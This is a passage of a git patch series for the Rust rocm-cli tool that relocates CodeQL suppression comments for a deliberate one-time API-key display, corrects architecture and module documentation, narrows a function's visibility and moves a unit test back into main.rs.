#834) are dismissed separately via the code-scanning API as pre-existing, reviewed behavior unchanged by this PR -- the same intentional one-time API key display already open as #790/#791 on main, re-flagged as new only because this refactor moved the lines. Signed-off-by: Jussi Elo --- apps/rocm/src/main.rs | 25 ++++++++++++++++--------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 248967fba..ead81b09e 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -4256,9 +4256,13 @@ fn print_managed_launch_plain(report: &ManagedLaunchReport, endpoint_api_key: Op } println!(" endpoint: {}", report.endpoint_url); if let Some(key) = endpoint_api_key { - // codeql[rust/cleartext-logging]: intentional one-time display of a freshly - // generated API key to the terminal so the user can copy it — the designed - // delivery channel documented on `render_endpoint_client_config`, not a log. + // Intentional one-time display of a freshly generated API key to the + // terminal so the user can copy it — the designed delivery channel + // documented on `render_endpoint_client_config`, not a log. The tag below + // is currently inert (Rust's CodeQL pack has no AlertSuppression.ql yet — + // github/codeql#21637) but will start working once that lands, since the + // tag must be the single line immediately before the flagged code. + // codeql[rust/cleartext-logging] print!( "{}", render_endpoint_client_config(&report.endpoint_url, key) @@ -4541,9 +4545,12 @@ fn run_attached_service( println!(" service_id: {service_id}"); println!(" endpoint: {endpoint}"); if let Some(key) = endpoint_api_key { - // codeql[rust/cleartext-logging]: intentional one-time display of a freshly - // generated API key to the terminal so the user can copy it — the designed - // delivery channel documented on `render_endpoint_client_config`, not a log. + // Intentional one-time display of a freshly generated API key to the + // terminal so the user can copy it — the designed delivery channel + // documented on `render_endpoint_client_config`, not a log. See the + // rationale on the sibling call site in `print_managed_launch_plain` + // for why the tag below is currently inert. + // codeql[rust/cleartext-logging] print!("{}", render_endpoint_client_config(&endpoint, key)); } println!(" streaming engine logs — Ctrl-D detaches (leaves it running), Ctrl-C stops it"); @@ -28309,9 +28316,9 @@ install therock"; #[test] fn endpoint_client_config_shows_key_once_with_bearer_guidance() { let rendered = render_endpoint_client_config("http://0.0.0.0:11435/v1", "secret-123"); - // codeql[rust/cleartext-logging]: dummy literal exercising the intentional - // one-time key display documented on `render_endpoint_client_config`; not a - // real credential or a log write. + // Dummy literal exercising the intentional one-time key display documented + // on `render_endpoint_client_config`; not a real credential or a log write. + // codeql[rust/cleartext-logging] assert!(rendered.contains("secret-123"), "{rendered}"); // codeql[rust/cleartext-logging]: see rationale above. assert!(rendered.contains("Authorization: Bearer"), "{rendered}"); From 6006d5f5d2a0de50205b0a6d1fac1c800c9d7785 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 7 Oct 2026 13:22:40 +0000 Subject: [PATCH 7/9] ROCMAI-82: fix review findings missed by the first CodeQL-comment pass A fresh code-review pass on this PR caught three things the prior fixup commits missed: - serve_cmd.rs:936 had the same codeql[rust/cleartext-logging] misplacement bug that fd17f318 ("fix misplaced CodeQL suppression-comment tags") claimed to fix everywhere -- that commit only touched main.rs, but the original suppression commit (c74b836e) also added a copy here, which was missed. Moved the tag to the line immediately before the flagged print!, matching the other two sites, and replaced the restated rationale with a cross-reference to main.rs's print_managed_launch_plain, so the explanation lives in one place instead of three near-duplicate copies that can drift independently. - docs/architecture.md:18 claimed `ServeEngineSelection` is "also used from main.rs" alongside `ServeArgs`; only `ServeArgs` is -- grep confirms `ServeEngineSelection` has no caller outside serve_cmd.rs. Split the claim so each type's usage is stated accurately. - run_argv_with_stdin was left `pub(crate)` after the prior commits relocated its only caller back next to it in main.rs; it has no cross-module caller left, so the visibility is now just leftover signal from the churn. Made it private. Verified: cargo fmt --check, cargo check --all-targets, cargo clippy --all-targets -- -D warnings, and cargo test --bin rocm (1013 passed) all clean. Signed-off-by: Jussi Elo --- apps/rocm/src/main.rs | 9 +++------ apps/rocm/src/serve_cmd.rs | 6 +++--- docs/architecture.md | 2 +- 3 files changed, 7 insertions(+), 10 deletions(-) diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index ead81b09e..74becd0a5 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -4545,11 +4545,8 @@ fn run_attached_service( println!(" service_id: {service_id}"); println!(" endpoint: {endpoint}"); if let Some(key) = endpoint_api_key { - // Intentional one-time display of a freshly generated API key to the - // terminal so the user can copy it — the designed delivery channel - // documented on `render_endpoint_client_config`, not a log. See the - // rationale on the sibling call site in `print_managed_launch_plain` - // for why the tag below is currently inert. + // Same intentional one-time key display as `print_managed_launch_plain` + // above; see its rationale for why the tag below is currently inert. // codeql[rust/cleartext-logging] print!("{}", render_endpoint_client_config(&endpoint, key)); } @@ -6818,7 +6815,7 @@ pub(crate) fn read_os_release() -> Result { /// /// Used for [`run_system_package_install_plan`], whose commands are modeled as /// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. -pub(crate) fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { +fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { let (program, args) = argv .split_first() .context("install command has no program to run")?; diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index 2313843e5..5df46058b 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -933,9 +933,9 @@ pub(crate) fn serve(args: ServeArgs) -> Result<()> { api_key: launched_key, notes, }; - // codeql[rust/cleartext-logging]: intentional one-time display of a freshly - // generated API key to the terminal so the user can copy it — the designed - // delivery channel, not a log; see `serve_summary::render_summary`. + // Same intentional one-time key display as `print_managed_launch_plain` + // in main.rs; see its rationale for why the tag below is currently inert. + // codeql[rust/cleartext-logging] print!("{}", serve_summary::render_summary(&summary)); } else { spinner.clear(); diff --git a/docs/architecture.md b/docs/architecture.md index dd2a78d53..8fbd42e4f 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -15,7 +15,7 @@ This is the living module map for rocm-cli. It's a contributor-facing reference New subcommands and subsystems default to their own file from day one — they should not grow inside `main.rs`/`lib.rs` waiting for a future extraction pass. Two extraction patterns already exist in the codebase; use whichever fits: - **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` regardless of pattern, so module privacy alone doesn't tell the two apart. Full-domain-extraction modules are typically reached via qualified paths (e.g. `comfyui::render_status(...)`); mechanically relocated modules with no owned types are reached the same way (e.g. `endpoint_keys::...`, `logging::init`). The exception — reached unqualified through `use crate::x::{...}` re-imports, matching their dispatch call sites' pre-extraction form — is limited to the clusters that moved as a dispatch-adjacent group: `automations.rs`, `uninstall.rs`, and (as of Phase 6a, ROCMAI-82) `driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs`. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. -- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types (part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs` — `driver_install.rs`'s and `engines_cmd.rs`'s types are used nowhere else; `serve_cmd.rs`'s `ServeEngineSelection`/`ServeArgs` stay `pub(crate)` and are also used from `main.rs`, though its `ServeGenerationDefaults` is private. The pattern is still "mechanical relocation" rather than full domain extraction because the handler fn itself relocates (`install_driver()`/`engines()`/`serve()`) while the top-level dispatch fns (`install()`/`dispatch()`) stay in `main.rs` — which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. +- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types (part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs` — `driver_install.rs`'s and `engines_cmd.rs`'s types are used nowhere else; `serve_cmd.rs`'s `ServeEngineSelection`/`ServeArgs` stay `pub(crate)`, though only `ServeArgs` is also used from `main.rs` — `ServeEngineSelection` has no caller outside `serve_cmd.rs` itself, and `ServeGenerationDefaults` is private. The pattern is still "mechanical relocation" rather than full domain extraction because the handler fn itself relocates (`install_driver()`/`engines()`/`serve()`) while the top-level dispatch fns (`install()`/`dispatch()`) stay in `main.rs` — which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. There is no file-line-count CI gate enforcing this — `too_many_lines = "allow"` in the workspace `Cargo.toml` is a deliberate, function-level choice, not an oversight. This convention is the guardrail instead. From 61a1d5866ac2e1ed7b0986acf385607002ab9eec Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 7 Oct 2026 13:59:15 +0000 Subject: [PATCH 8/9] ROCMAI-82: fix three more stale doc claims from pr-review-watcher Round at ffc81772 (via pr-review-watcher) found three more doc claims this PR's own fixup commits hadn't caught, all verified by grep against the actual call graph: - docs/architecture.md:18 said driver_install.rs's types are "used nowhere else", alongside engines_cmd.rs's. True for engines_cmd.rs; false for driver_install.rs -- main.rs's install() reads result.output/result.executed and error.source/error.executed off DriverInstallResult/DriverInstallError directly. - engines_cmd.rs's header said the env-root/runtime helpers other than engine_manages_own_runtime are "used only from other root-level commands in main.rs". ensure_self_managed_engine_ready's only caller is serve_cmd.rs, not main.rs at all. Carved it out of that claim. - serve_cmd.rs's header said the dispatch re-import is `use crate::serve_cmd::{serve, ServeArgs};`; the actual import (per main.rs:38, already explained in 3b80b049's main.rs comment) also pulls in select_serve_engine for assess_model_for_host. Verified: cargo fmt --check, cargo check --all-targets, and cargo xtask check-architecture-doc all clean. Doc-comment-only change, no logic touched. Signed-off-by: Jussi Elo --- apps/rocm/src/engines_cmd.rs | 3 ++- apps/rocm/src/serve_cmd.rs | 5 +++-- docs/architecture.md | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/apps/rocm/src/engines_cmd.rs b/apps/rocm/src/engines_cmd.rs index 999e8daac..ebfff7416 100644 --- a/apps/rocm/src/engines_cmd.rs +++ b/apps/rocm/src/engines_cmd.rs @@ -9,7 +9,8 @@ //! re-imported via `use crate::engines_cmd::engines;`). `EnginesCommand` //! remains in the crate root and is reached via `use crate::EnginesCommand`; //! `Cli` is not referenced from this file. `engine_manages_own_runtime` is -//! also called from `serve_cmd.rs`; the other env-root/runtime helpers here +//! called from `main.rs` and also from `serve_cmd.rs`; `ensure_self_managed_engine_ready`'s +//! only caller is `serve_cmd.rs`; the remaining env-root/runtime helpers here //! are used only from other root-level commands in `main.rs` — all stay //! `pub(crate)` rather than private either way. diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index 5df46058b..d8e8412f4 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -6,8 +6,9 @@ //! //! Mechanically relocated from `main.rs` with no behavior change — the //! `dispatch()` call site stays byte-identical (`serve(ServeArgs { .. })`, -//! re-imported via `use crate::serve_cmd::{serve, ServeArgs};`). `Cli` is not -//! referenced from this file; `DevicePolicyArg` (part of the clap arg tree) +//! re-imported via `use crate::serve_cmd::{ServeArgs, select_serve_engine, serve};` +//! — `select_serve_engine` rides along for `assess_model_for_host`, not dispatch). +//! `Cli` is not referenced from this file; `DevicePolicyArg` (part of the clap arg tree) //! is, via `use crate::DevicePolicyArg`. //! //! Several `serve()`-only helpers stay in `main.rs` and are re-imported here diff --git a/docs/architecture.md b/docs/architecture.md index 8fbd42e4f..9fe3441b9 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -15,7 +15,7 @@ This is the living module map for rocm-cli. It's a contributor-facing reference New subcommands and subsystems default to their own file from day one — they should not grow inside `main.rs`/`lib.rs` waiting for a future extraction pass. Two extraction patterns already exist in the codebase; use whichever fits: - **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` regardless of pattern, so module privacy alone doesn't tell the two apart. Full-domain-extraction modules are typically reached via qualified paths (e.g. `comfyui::render_status(...)`); mechanically relocated modules with no owned types are reached the same way (e.g. `endpoint_keys::...`, `logging::init`). The exception — reached unqualified through `use crate::x::{...}` re-imports, matching their dispatch call sites' pre-extraction form — is limited to the clusters that moved as a dispatch-adjacent group: `automations.rs`, `uninstall.rs`, and (as of Phase 6a, ROCMAI-82) `driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs`. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. -- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types (part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs` — `driver_install.rs`'s and `engines_cmd.rs`'s types are used nowhere else; `serve_cmd.rs`'s `ServeEngineSelection`/`ServeArgs` stay `pub(crate)`, though only `ServeArgs` is also used from `main.rs` — `ServeEngineSelection` has no caller outside `serve_cmd.rs` itself, and `ServeGenerationDefaults` is private. The pattern is still "mechanical relocation" rather than full domain extraction because the handler fn itself relocates (`install_driver()`/`engines()`/`serve()`) while the top-level dispatch fns (`install()`/`dispatch()`) stay in `main.rs` — which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. +- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types (part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs` — `engines_cmd.rs`'s types are used nowhere else, but `driver_install.rs`'s `DriverInstallResult`/`DriverInstallError` are `pub(crate)` and read from `main.rs`'s `install()` (`result.output`/`result.executed`, `error.source`/`error.executed`); `serve_cmd.rs`'s `ServeEngineSelection`/`ServeArgs` stay `pub(crate)`, though only `ServeArgs` is also used from `main.rs` — `ServeEngineSelection` has no caller outside `serve_cmd.rs` itself, and `ServeGenerationDefaults` is private. The pattern is still "mechanical relocation" rather than full domain extraction because the handler fn itself relocates (`install_driver()`/`engines()`/`serve()`) while the top-level dispatch fns (`install()`/`dispatch()`) stay in `main.rs` — which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. There is no file-line-count CI gate enforcing this — `too_many_lines = "allow"` in the workspace `Cargo.toml` is a deliberate, function-level choice, not an oversight. This convention is the guardrail instead. From 84464e8a8e9b1df10c862761987dda9091db783f Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 7 Oct 2026 15:20:21 +0000 Subject: [PATCH 9/9] ROCMAI-82: move a misplaced test back next to the code it exercises hybrid_planner_bakes_the_host_engine_into_the_generated_serve_command tests build_freeform_plan_with_recipes, which stayed in main.rs because it isn't serve-specific -- its other caller, build_freeform_plan_with_context, backs the general chat/model request planner, not serve. Its sibling hybrid_planner_* tests all stayed in main.rs for the same reason. This one test ended up in serve_cmd.rs instead, the only one of the group there. Unlike the other serve-only helpers deliberately left in main.rs (collect_serve_notes, validate_bind_host, print_managed_launch_plain, etc. -- see serve_cmd.rs's header), build_freeform_plan_with_recipes isn't a candidate for a later move to serve_cmd.rs at all, so there's no reason for its test to sit there meanwhile. Moved it back next to hybrid_planner_lets_a_configured_engine_outrank_the_host_default, the sibling it shares its "serve some/unmatched-model" / --engine assertion shape with. Dropped the now-unused `use crate::build_freeform_plan_with_recipes;` from serve_cmd.rs's test module. Verified: cargo fmt --check, cargo check --all-targets, cargo clippy --all-targets -- -D warnings, and cargo test --bin rocm (1013 passed, 1 ignored -- same count as before the move) all clean. Signed-off-by: Jussi Elo --- apps/rocm/src/main.rs | 34 ++++++++++++++++++++++++++++++++++ apps/rocm/src/serve_cmd.rs | 35 ----------------------------------- 2 files changed, 34 insertions(+), 35 deletions(-) diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 74becd0a5..c9d62a78f 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -22084,6 +22084,40 @@ pub(crate) mod tests { ); } + #[test] + fn hybrid_planner_bakes_the_host_engine_into_the_generated_serve_command() { + // The generated command carries an explicit `--engine`, which outranks + // every other signal in `select_serve_engine` -- including the configured + // default. So whatever this planner picks IS what runs, and on an Instinct + // host that must be vLLM. A GPU-blind constant here reintroduced the very + // bug this PR fixes, through the strongest override available. + // + // An empty recipe set is what reaches the host default: a request naming + // an engine, or a matched recipe that prefers one, is answered before the + // fallback -- correctly, since a GGUF model only Lemonade can serve must + // not be forced onto vLLM by the host. + let plan = build_freeform_plan_with_recipes( + "serve some/unmatched-model", + &RocmCliConfig::default(), + Some(&[]), + "vllm", + ); + + let engine_arg = plan + .actions + .iter() + .find_map(|action| { + let index = action.args.iter().position(|arg| arg == "--engine")?; + action.args.get(index + 1).cloned() + }) + .expect("the generated serve command must name an engine"); + assert_eq!( + engine_arg, "vllm", + "the host's engine must reach the generated command:\n{:?}", + plan.actions + ); + } + #[test] fn hybrid_planner_defaults_generic_local_assistant_to_validated_qwen() { let plan = build_freeform_plan_with_recipes( diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index d8e8412f4..87ce316de 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -970,7 +970,6 @@ mod tests { use super::*; use rocm_core::{ManagedServiceRecord, resolve_builtin_model_recipe}; - use crate::build_freeform_plan_with_recipes; use crate::tests::test_paths; /// Persist a live-looking managed record claiming `gpu` — the same shape a @@ -997,40 +996,6 @@ mod tests { record.write().expect("write claiming record"); } - #[test] - fn hybrid_planner_bakes_the_host_engine_into_the_generated_serve_command() { - // The generated command carries an explicit `--engine`, which outranks - // every other signal in `select_serve_engine` -- including the configured - // default. So whatever this planner picks IS what runs, and on an Instinct - // host that must be vLLM. A GPU-blind constant here reintroduced the very - // bug this PR fixes, through the strongest override available. - // - // An empty recipe set is what reaches the host default: a request naming - // an engine, or a matched recipe that prefers one, is answered before the - // fallback -- correctly, since a GGUF model only Lemonade can serve must - // not be forced onto vLLM by the host. - let plan = build_freeform_plan_with_recipes( - "serve some/unmatched-model", - &RocmCliConfig::default(), - Some(&[]), - "vllm", - ); - - let engine_arg = plan - .actions - .iter() - .find_map(|action| { - let index = action.args.iter().position(|arg| arg == "--engine")?; - action.args.get(index + 1).cloned() - }) - .expect("the generated serve command must name an engine"); - assert_eq!( - engine_arg, "vllm", - "the host's engine must reach the generated command:\n{:?}", - plan.actions - ); - } - #[test] fn serve_engine_selection_uses_shared_recipe_when_no_override_exists() { let recipe = resolve_builtin_model_recipe("qwen32b").expect("qwen32b recipe");